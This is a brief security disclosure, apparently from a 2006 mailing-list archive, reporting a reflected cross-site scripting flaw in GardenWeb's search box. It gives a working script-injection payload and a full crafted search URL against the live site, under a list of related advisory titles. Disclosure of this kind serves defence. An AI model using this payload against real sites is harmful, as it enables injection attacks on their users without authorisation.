Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Cline Communications Sql injection

[ECHO_ADV_33$2006] CMS Faethon 1.3.2 mainpath Remote File Inclusion

Simple PHP Poll Authecnication Admin ByPass

file include exploits in dotwidgeta Version 2

From:	nanoymaster_(at)_gmail.com <nanoymaster_(at)_gmail.com>
Date:	18.06.2006
Subject:	XSS in GardenWeb

use the searchbox with

"><script>alert('XSS')</script>

eg url:
http://search.gardenweb.com/search/nph-ind.cgi?term=%22%3E%3Cscript%
3Ealert%28%27XSS%27%29%3C%2Fscript%3E